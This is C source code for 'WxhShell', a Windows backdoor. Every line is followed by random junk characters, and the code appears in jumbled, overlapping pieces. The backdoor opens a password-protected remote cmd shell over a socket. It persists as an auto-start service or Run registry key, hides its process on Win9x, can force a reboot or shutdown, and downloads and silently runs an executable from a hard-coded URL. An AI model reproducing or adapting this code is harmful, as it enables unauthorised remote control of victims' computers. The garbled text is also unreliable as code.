    if(Boot(SHUTDOWN)) j[w5#]&%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oTeQY[%$  
    else { WhL"-f  
    closesocket(wsh); jYh.$g<`0+  
    ExitThread(0); OQ<NB7'n0A  
    } <$ %Y#I'zX  
    break; VKr oikz@]  
    } &RlYw#*1.  
  // 获取shell 1k)`C<l  
  case 's': { VjSA& R  
    CmdShell(wsh); s3)T}52  
    closesocket(wsh); mW."lzIl  
    ExitThread(0); \U?{m)N  
    break; HmpV; <t3  
  } wHErF #xo  
  // 退出 z6OJT6<'  
  case 'x': { !M k]%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); peU1 t:k?  
    CloseIt(wsh); l 4cTN @E  
    break; ={nuz-3  
    } -:V2Dsr6;  
  // 离开 HF%)ip+  
  case 'q': { (<yQA. M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o&E2ds3  
    closesocket(wsh); <-|g>  
    WSACleanup(); j2:A@ a6  
    exit(1); <gSZ<T  
    break; .Tc?9X~4  
        } Y;8.(0r/  
  } BeM|1pe.  
  } i'0ol^~y6  
H.TPKdVX  
  // 提示信息 [u8JqX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V[">SiOg  
} "\kr;X'  
  } D?cE$P  
uX,ln(9I*H  
  return; @,TCg1@QJ  
} btB> -pT  
#]Q.B\\  
// shell模块句柄 K-7i4 ~  
int CmdShell(SOCKET sock) =A^VzIj(  
{ JZ0u/x5  
STARTUPINFO si; 9/50+2F  
ZeroMemory(&si,sizeof(si));  TGozoPV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @RS|}M^4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yl~h `b4  
PROCESS_INFORMATION ProcessInfo; $g)X,iQu  
char cmdline[]="cmd"; qgsKbsl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4N{^niq7  
  return 0; b~m|mb$  
} %-[U;pJe;  
T8J[B( )L  
// 自身启动模式 V: ivnx*  
int StartFromService(void) ,xIWyI.  
{ 3.I:`>;EO  
typedef struct s& WHKCb  
{ 9@z"~H  
  DWORD ExitStatus; $.r:  
  DWORD PebBaseAddress; .cm$*>LW:x  
  DWORD AffinityMask; #3Jn_Y%P.  
  DWORD BasePriority; [y$sJF7;I  
  ULONG UniqueProcessId; #k<j`0kiq  
  ULONG InheritedFromUniqueProcessId; {AqPQeNgz  
}   PROCESS_BASIC_INFORMATION; T=->~@5  
C9FQo7   
PROCNTQSIP NtQueryInformationProcess; 8Dy;'BtT  
k-\RdX)E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }KwL_\>&f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mw&)j R$&  
421ol  
  HANDLE             hProcess; Mi_/ ^  
  PROCESS_BASIC_INFORMATION pbi; \py \rI  
fP:g}Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ) %&~CW+  
  if(NULL == hInst ) return 0; xA2 "i2k9  
,_2ZKO/k$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7q[a8rUdh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '`Iuf\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7{e*isV  
@s;qmBX4  
  if (!NtQueryInformationProcess) return 0; Q'S"$^~{  
k\a&4v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JA~v:ec  
  if(!hProcess) return 0; k),.  
J-g<-!>RM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ljjuf=]  
BSB;0OM  
  CloseHandle(hProcess); G\ht)7SGgf  
~1v5H]T{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K=82fF(-  
if(hProcess==NULL) return 0; +1%7*2q,  
YCd[s[  
HMODULE hMod; UL.x*@o  
char procName[255]; 3R sbi  
unsigned long cbNeeded; h|j $Jy  
5u-jjUO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9vZD?6D,n  
N8^ AH8l  
  CloseHandle(hProcess); X) peY  
%nfaU~IqK  
if(strstr(procName,"services")) return 1; // 以服务启动 .v{ok,&  
P[E5e+ A)  
  return 0; // 注册表启动 aqk0+  
} '=2/0-;Jf  
a.yCd/  
// 主模块 2=PX1kI  
int StartWxhshell(LPSTR lpCmdLine) tmJ-2  
{ ^%?*u;uU%  
  SOCKET wsl; OF)G 2>t  
BOOL val=TRUE; ;L458fYs  
  int port=0; T!*lTzNHm  
  struct sockaddr_in door; 6RLYpQ$+  
S3iXG @  
  if(wscfg.ws_autoins) Install(); ~S,R`wo  
d/O~"d  
port=atoi(lpCmdLine); YxUC.2V|7$  
x$;I E  
if(port<=0) port=wscfg.ws_port; _Fz]QxO  
7xIXFuu  
  WSADATA data; +q/ j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fvDt_g9oI  
pp#xN/V#a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~<?+(V^D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,33[/j  
  door.sin_family = AF_INET; L:ox$RU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $6ev K~  
  door.sin_port = htons(port); /uM;g9 m  
'*~_!lE5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |KHaL?  
closesocket(wsl); `H.~ # $  
return 1; -<[MM2Y  
} j<-#a^jb  
mu[:b  
  if(listen(wsl,2) == INVALID_SOCKET) { msyC."j0jU  
closesocket(wsl); qBKRm0<W  
return 1; 1'[RrJ$Q  
}  0#AS>K5  
  Wxhshell(wsl); F?wfh7q  
  WSACleanup(); /7 CF f&4  
d@a FW  
return 0; O"$uw  
y\Z$8'E5W  
} 5*ip}wA  
G>/Gw90E  
// 以NT服务方式启动 -.>b7ui  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nm.H  
{ K\7\  
DWORD   status = 0; =o@CCUKpj  
  DWORD   specificError = 0xfffffff; D+Ke)-/  
6fozc2h@x%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,dTRM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3 ?1qI'5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (}W+W\.  
  serviceStatus.dwWin32ExitCode     = 0; =z5'A|Wa=,  
  serviceStatus.dwServiceSpecificExitCode = 0; pO* $ '8L  
  serviceStatus.dwCheckPoint       = 0; D`?=]Ysz(  
  serviceStatus.dwWaitHint       = 0; mIK-a{?G  
TzC'x WO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ua>lf8w<  
  if (hServiceStatusHandle==0) return; &Hb;; Ic(  
csceu+ IA  
status = GetLastError(); (h} 5*u%h  
  if (status!=NO_ERROR) Q M#1XbT  
{ L9|55z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ho}"8YEXNV  
    serviceStatus.dwCheckPoint       = 0; Rr'#OxF  
    serviceStatus.dwWaitHint       = 0; Ry@QJn I<  
    serviceStatus.dwWin32ExitCode     = status; UE-<  
    serviceStatus.dwServiceSpecificExitCode = specificError; kK27hfsw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h%9>js^~  
    return; ;"}yVV/4  
  } /k$h2,O"*  
M.|cl#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,f4VV\  
  serviceStatus.dwCheckPoint       = 0; Q]9+-p(=  
  serviceStatus.dwWaitHint       = 0; e7m>p\"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gn2*'_V~3  
} ,N[N;Uoj  
[1-1^JY  
// 处理NT服务事件,比如:启动、停止 w1aev  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F;4*,Ap  
{ o$*aAgS+  
switch(fdwControl) gx-ib/_f1  
{ emhI1 *}  
case SERVICE_CONTROL_STOP: 'pCZx9 *c  
  serviceStatus.dwWin32ExitCode = 0; k$u\\`i]oC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {:D8@jb[  
  serviceStatus.dwCheckPoint   = 0; |[)k5nUQ|  
  serviceStatus.dwWaitHint     = 0; 7# ~v<M6  
  { V`/ E$a1&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UlG8c~p  
  } =cwQG&as  
  return; :~I^ni  
case SERVICE_CONTROL_PAUSE: aC\O'KcH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y /$Q5P+o  
  break; 'qL:7  
case SERVICE_CONTROL_CONTINUE:  /$Qs1*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ))/NGa  
  break; -8HK_eQn  
case SERVICE_CONTROL_INTERROGATE: Dl a }-A:  
  break; #\|Ac*>  
}; rq>}] U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }ZQ)]Mr  
} YUzx,Y>k  
|fL|tkGEa  
// 标准应用程序主函数 mH1T|UI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N\,[(LbA&  
{ }McqoZ%F  
: 3J0Q  
// 获取操作系统版本 L701j.7"  
OsIsNt=GetOsVer(); ;PS V3Zh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v qt#JdPp9  
'n:|D7t  
  // 从命令行安装 Vu0d\l^$  
  if(strpbrk(lpCmdLine,"iI")) Install(); zBQV2.@  
yQT cO^E  
  // 下载执行文件 u|ph_?6 o  
if(wscfg.ws_downexe) { 1zGD~[M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O$qxo &  
  WinExec(wscfg.ws_filenam,SW_HIDE); &kR*J<)V  
} 8t1XZ  
S55h}5Y  
if(!OsIsNt) { \;!}z3Ww  
// 如果时win9x,隐藏进程并且设置为注册表启动 J?wCqA  
HideProc(); TANv)&,|9  
StartWxhshell(lpCmdLine); i;flK*HOZ9  
} -w dbH`2Z"  
else e^LjB/<Th  
  if(StartFromService()) WE{fu{x  
  // 以服务方式启动 lm;Dy*|<  
  StartServiceCtrlDispatcher(DispatchTable); {Jna' eS  
else ~+A(zlYr~  
  // 普通方式启动 -wh?9 ?W  
  StartWxhshell(lpCmdLine); h SeXxSb:  
]9 JLu8GO  
return 0; ':>u*  
} `!udU,|N  
X[ 6#J  
OH\(;RN*  
Dru iiA  
=========================================== kF;N}O2?{  
 )>=!</@  
oimM)Yo  
F@tfbDO?  
_xefFy  
9\zasa  
" &E]<dmR  
;u8a%h!  
#include <stdio.h> S-f .NC}:i  
#include <string.h> Ybkydc  
#include <windows.h> 6e;POW  
#include <winsock2.h> ;p(I0X  
#include <winsvc.h> r4isn^g  
#include <urlmon.h> 'OACbYgG  
33=lR-N#  
#pragma comment (lib, "Ws2_32.lib") q4EOI  
#pragma comment (lib, "urlmon.lib") :`>$B?x+  
k-Z :z?M  
#define MAX_USER   100 // 最大客户端连接数 f7SMO-3a  
#define BUF_SOCK   200 // sock buffer w+wg)$i  
#define KEY_BUFF   255 // 输入 buffer 8nu@6)#  
+a'LdEp  
#define REBOOT     0   // 重启 Ol sX  
#define SHUTDOWN   1   // 关机 O#do\:(b  
3;O4o]`  
#define DEF_PORT   5000 // 监听端口 ;e"dxAUe!^  
Tc.QzD\  
#define REG_LEN     16   // 注册表键长度 0H +!v  
#define SVC_LEN     80   // NT服务名长度 T4nWK!}z  
9+iz+  
// 从dll定义API .6=;{h4cpB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0clq}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &7 K=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vb8Qh601  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q'Nafa&a)  
H%bc.c  
// wxhshell配置信息 L>Y3t1=  
struct WSCFG { ;u-[%(00S  
  int ws_port;         // 监听端口 2<T/N  
  char ws_passstr[REG_LEN]; // 口令 (e_z*o)\T  
  int ws_autoins;       // 安装标记, 1=yes 0=no -N'wKT5  
  char ws_regname[REG_LEN]; // 注册表键名 A>ve|us$  
  char ws_svcname[REG_LEN]; // 服务名 l*$~Y0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .(&w/jR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FVxORQI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -q]5@s/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2lCgUe)N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b/w5K2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zIA)se Js  
3L CT-rp  
}; L)n_  Q  
| .gE9'"bv  
// default Wxhshell configuration ``-pjD(t  
struct WSCFG wscfg={DEF_PORT, \ iA'^69  
    "xuhuanlingzhe", jL7r1pu5  
    1, K))P 2ss  
    "Wxhshell", mKqXB\<  
    "Wxhshell", ^;9<7 h[l  
            "WxhShell Service", %L|xmx!c  
    "Wrsky Windows CmdShell Service", 6)PnzeYW  
    "Please Input Your Password: ", R/xT.EQ(N  
  1, js9^~:Tw  
  "http://www.wrsky.com/wxhshell.exe", PfsUe,*  
  "Wxhshell.exe" @6 a'p  
    }; :}R,a=N  
m1e Sn |)7  
// 消息定义模块 )<f4F!?,A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gN2oUbf8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *10qP?0H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; va:<W H  
char *msg_ws_ext="\n\rExit.";  )$GCur~  
char *msg_ws_end="\n\rQuit."; Cw"[$E'J  
char *msg_ws_boot="\n\rReboot..."; oj[~H}>  
char *msg_ws_poff="\n\rShutdown..."; =A*a9c2  
char *msg_ws_down="\n\rSave to "; lbX YWZ~7  
Lq62  
char *msg_ws_err="\n\rErr!"; qg/FI#r  
char *msg_ws_ok="\n\rOK!"; Dkx}}E:<  
BCuoFw)  
char ExeFile[MAX_PATH]; "L;@qCfhO  
int nUser = 0; po(pi|  
HANDLE handles[MAX_USER]; $NCR V:J  
int OsIsNt; 'd|!Hr<2  
BaWU[*  
SERVICE_STATUS       serviceStatus; *8_Dn}u?Jx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O+|ipw*B%  
fk9q3  
// 函数声明 -G~/ GO  
int Install(void); RU=\eD  
int Uninstall(void); lcLDCt ?  
int DownloadFile(char *sURL, SOCKET wsh); L/E7xLz  
int Boot(int flag); t Davp:M1v  
void HideProc(void); DgK*> A  
int GetOsVer(void); m[%':^vSr  
int Wxhshell(SOCKET wsl); ?6\N&MTF  
void TalkWithClient(void *cs); ]imVIu   
int CmdShell(SOCKET sock); d'&OEGb<  
int StartFromService(void); jhPbh5E  
int StartWxhshell(LPSTR lpCmdLine); teI?.M9r  
xC9{hXg!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lU%oU&P/"S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TFm[sO0RZ  
k& uh  
// 数据结构和表定义 gKcBx6G Q  
SERVICE_TABLE_ENTRY DispatchTable[] = j{'_sI{{  
{ JS/ChoU  
{wscfg.ws_svcname, NTServiceMain}, KxD/{0F  
{NULL, NULL} EP"Z58&$R  
}; op/_ :#&'  
Uf|uFGb  
// 自我安装 )o~/yB7  
int Install(void) $f _C~O  
{ 9XYm8g'X  
  char svExeFile[MAX_PATH]; ce#Iu#qT  
  HKEY key; Zoc4@% n  
  strcpy(svExeFile,ExeFile); 4x&Dz0[[S  
<;yS&8  
// 如果是win9x系统,修改注册表设为自启动 QVJpX;u  
if(!OsIsNt) { Q"D5D rj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '&hd^9]Lo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gaxM#  
  RegCloseKey(key); A'rd1"K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O$;#GpR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `d^Q!QxE  
  RegCloseKey(key); |5%T)  
  return 0; !H@HgJ -  
    } =+UtA f<n  
  } `"}).{N]C  
} uY(8KW  
else { +ue1+#  
',xUU{5?  
// 如果是NT以上系统,安装为系统服务 .>#O'Z&q9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g Oe!GnO  
if (schSCManager!=0) 4`)r1D!U  
{ c-5AI{%bl6  
  SC_HANDLE schService = CreateService \b%c_e  
  ( FNuE-_  
  schSCManager, 1x=x,lcL  
  wscfg.ws_svcname, 7V8k =  
  wscfg.ws_svcdisp, i}zz!dJTE  
  SERVICE_ALL_ACCESS, Tg"? TZO~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?}v/)hjp=?  
  SERVICE_AUTO_START, 99`w'Nlk  
  SERVICE_ERROR_NORMAL, {d*OJ/4  
  svExeFile, _Y ;tD  
  NULL, DO *  
  NULL, +v 3: \#  
  NULL, Su7N?X!  
  NULL, LEeA ,Y  
  NULL = c Z24I  
  ); Axns  
  if (schService!=0) S<NK!89  
  { akt7rnt?i  
  CloseServiceHandle(schService); bEj}J_#  
  CloseServiceHandle(schSCManager); \?R#ZxP@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EnlAgL']|  
  strcat(svExeFile,wscfg.ws_svcname); :H3/+/x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i0$*):b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q.$Rhjb  
  RegCloseKey(key); jc)7FE  
  return 0; Ky"F L   
    } ,dTmI{@O  
  } tuIZYp8tIN  
  CloseServiceHandle(schSCManager); ,pI9=e@O/z  
} ohq Thl  
} $l"%o9ICG  
Li} 5aK  
return 1; hHmm(~5gR  
} R'`'q1=R  
{pH#zs4Y  
// 自我卸载 *E/ Mf  
int Uninstall(void) p*,T~(A6  
{ #+l`tj4b/  
  HKEY key; #@OPi6.#!<  
{R-o8N  
if(!OsIsNt) { O+|C<;K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n<j+KD#a  
  RegDeleteValue(key,wscfg.ws_regname); Pb>/b\&JS  
  RegCloseKey(key); po*8WSl9c[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6];3h>c]N  
  RegDeleteValue(key,wscfg.ws_regname); KS93v9|  
  RegCloseKey(key); 3sdL\  
  return 0; qE[YZ(/f0&  
  } y)&K9 I  
} X.;VZwT+  
} C 5gdvJN  
else { c/tB_]  
YIg43Av  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z8ZQL.z%h  
if (schSCManager!=0) PBb&.<   
{ 9/29>K_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PjEJ C@n  
  if (schService!=0) 1J"9Y81   
  { $Q8 &TM}E  
  if(DeleteService(schService)!=0) { 5[SwF& zZ  
  CloseServiceHandle(schService); S Dil\x  
  CloseServiceHandle(schSCManager); ebI2gEu;a  
  return 0; 8!Wh`n<  
  } ').) 0;  
  CloseServiceHandle(schService); Rv9jLH  
  } Zf@B< m  
  CloseServiceHandle(schSCManager); 30uPDDvar  
} #O}}pF  
} ;\2Z?Kq  
T9Q3I  
return 1; o= ($'(1  
} hA 5')te<  
 A\Ib  
// 从指定url下载文件 ft(o-f7,  
int DownloadFile(char *sURL, SOCKET wsh) +m%%Bz>  
{ Icrnu}pl_  
  HRESULT hr; B+`4UfB]Z}  
char seps[]= "/"; )xyjQ|b  
char *token; %r(WS_%K|  
char *file; )e?&'wa>  
char myURL[MAX_PATH]; 5\bGCf  
char myFILE[MAX_PATH]; g) oOravV  
Mz6(M,hkq  
strcpy(myURL,sURL); 6EyPZ{  
  token=strtok(myURL,seps); ZK^cG'^2|  
  while(token!=NULL) 0,t%us/q  
  { X>o9mW  
    file=token; PtbaC6"\  
  token=strtok(NULL,seps); X n!mdR  
  } O[ird`/  
j %gd:-tA  
GetCurrentDirectory(MAX_PATH,myFILE); +,>%Yb =EA  
strcat(myFILE, "\\"); F,p0OL.  
strcat(myFILE, file); lfc&#G i3  
  send(wsh,myFILE,strlen(myFILE),0); W[O]Aal{  
send(wsh,"...",3,0); GmWr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P+hcj p*  
  if(hr==S_OK) ~< bpdI0  
return 0; H\ejW@< ;h  
else mfQ#n!{ZH  
return 1; vNGE]+QX  
!Rl|o^Vw>{  
} D:/ n2_  
gfg,V.:  
// 系统电源模块 fx_#3=bXi  
int Boot(int flag) wL?Up>fr  
{ v&YeQC>  
  HANDLE hToken; ( *+'k1Ea  
  TOKEN_PRIVILEGES tkp; WMa0L&C~v  
MMFwT(l<1  
  if(OsIsNt) { N2}SR|.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H/O.h@E4X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C!5A,|DX  
    tkp.PrivilegeCount = 1; &*<27-x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A ]A{HEX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {\l  
if(flag==REBOOT) { \tI%[g1M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~U]g;u  
  return 0; ;AEfU^[  
} LBK{-(%  
else { 2@zduL'do_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sf,z  
  return 0; pD$4nH4KST  
} Iy9hBAg\y  
  } +{I_%SsG  
  else { `uMEK>b  
if(flag==REBOOT) { ]5Uuz?:e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BkB>eE1)Ea  
  return 0; QF"7.~~2  
} 9b+jT{Tg  
else { ]^~}/@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2nB99L{6  
  return 0; e,p"=/!aY  
} ^&eF916H  
} ,@ 8+%KqG  
(gBKC]zvz3  
return 1; 8 c8`"i  
} N6y9'LGG`  
|RiJ>/ MK\  
// win9x进程隐藏模块 !2LX+*;  
void HideProc(void) K&|h%4O  
{ RehmVkT  
^Pn|Q'{/p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O^@8Drgc  
  if ( hKernel != NULL ) x4'@U<  
  { 7s|'NTp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I@'[>t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6Xvpk1  
    FreeLibrary(hKernel); ]<f)Rf">:`  
  } ;l@94)@0  
uks75W!}U  
return; h:%,>I%{  
} d/7fJ8y8  
MgJ6{xzz  
// 获取操作系统版本 7=l~fKu  
int GetOsVer(void) \]tBwa  
{ @k?vbq  
  OSVERSIONINFO winfo; QHk\Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dl;hOHvKk  
  GetVersionEx(&winfo); 7Aqg X0)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tru{8]uMH  
  return 1; 7*5B  
  else *4cuWkQ,  
  return 0; ^{+ry<rS>  
} 6 R6Ub 0  
$p0nq&4c  
// 客户端句柄模块 <>] DcA  
int Wxhshell(SOCKET wsl) uk):z$ x  
{ Vm[Rp, "  
  SOCKET wsh; .a*?Pal@@  
  struct sockaddr_in client; U: 9&0`k(  
  DWORD myID; ,MY7h 8V/  
%6m/ve  
  while(nUser<MAX_USER) uwNJM  
{ ,-c,3/tyA  
  int nSize=sizeof(client); 66v,/#K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7d:]o>  
  if(wsh==INVALID_SOCKET) return 1; boo361L  
)pWgt5:7~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oB:7R^a  
if(handles[nUser]==0) 1V%tev9a  
  closesocket(wsh); jRK}H*uem  
else Y <6|z3  
  nUser++; R|st<P  
  } 0@ `]m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xVx s~p1  
-c`xeuzK'  
  return 0; w 3t,S3!  
} mrTf[ "K  
Ni_H1G  
// 关闭 socket @ st>#]i4  
void CloseIt(SOCKET wsh) [?]N GTr#  
{ 7H7 Xbi@  
closesocket(wsh); 6$`<Y?  
nUser--; [EAOk=X  
ExitThread(0);  0,Ds1y^  
} b fxE}>  
5nG\J g7  
// 客户端请求句柄 "Lp.*o  
void TalkWithClient(void *cs) W5R/Ub@g  
{ m}]{Y'i]R  
&;BhL%)}  
  SOCKET wsh=(SOCKET)cs; QiPq N$n  
  char pwd[SVC_LEN]; _}l(i1o,/  
  char cmd[KEY_BUFF]; |+cz\+  
char chr[1]; t~+M>Fjm?d  
int i,j; <y6`8J7:  
PQHztS"  
  while (nUser < MAX_USER) { -)V0D,r$[  
BZeEZ2"  
if(wscfg.ws_passstr) { pzF_g- B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T\6Qr$t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X`8<;l  
  //ZeroMemory(pwd,KEY_BUFF); A(y6]E!  
      i=0; 1-kuK<KR  
  while(i<SVC_LEN) { V3,C5KKk&z  
6{2y$'m8  
  // 设置超时 7e<=(\(yl  
  fd_set FdRead; *p{p.%Qs:  
  struct timeval TimeOut; i$Y#7^l%k  
  FD_ZERO(&FdRead); V.~kG ,Ht  
  FD_SET(wsh,&FdRead); /J`}o}  
  TimeOut.tv_sec=8; mv9D{_,pD  
  TimeOut.tv_usec=0; -)A:@+GF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t^#1=nK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f|> rp[Gk  
W~ yb>+u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N8 sT?  
  pwd=chr[0]; 1 iH@vd  
  if(chr[0]==0xd || chr[0]==0xa) { ']}-;m\  
  pwd=0; Tu vs}  
  break; *DJsY/9d}'  
  } Jz8P':6[  
  i++; _H| )g*]t  
    } ` m 5\  
5_^d3LOT0x  
  // 如果是非法用户,关闭 socket i\xs!QU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  hb[ThQ  
} B:zx 9  
rz|T2K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %`C e#b()'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vn.5X   
pMU\f  
while(1) { KXWcg#zFY  
[}L?EM  
  ZeroMemory(cmd,KEY_BUFF); 0:{W t  
A}(xH`A  
      // 自动支持客户端 telnet标准   @]Q4K%1^"  
  j=0; xU;SRB   
  while(j<KEY_BUFF) { 0akJv^^D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l+;S$evY  
  cmd[j]=chr[0]; Au2^ T1F  
  if(chr[0]==0xa || chr[0]==0xd) { +w0Wg.4V  
  cmd[j]=0; Ana[>wSZO@  
  break; %|jS`kj  
  } F}Zg3 #  
  j++; =Uk #7U"P  
    } ra~=i|s  
>MYxj}I4{z  
  // 下载文件 ^B.Z3Y  
  if(strstr(cmd,"http://")) { -^NW:L$|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RE!WuLs0"  
  if(DownloadFile(cmd,wsh)) +*.*bo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Kx.v'  
  else eC/{c1C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AQ-PHv  
  } N[@~q~v  
  else { zlLZ8b+  
3Ei^WDJ  
    switch(cmd[0]) { sI\NX$M  
  C6ql,hR^h`  
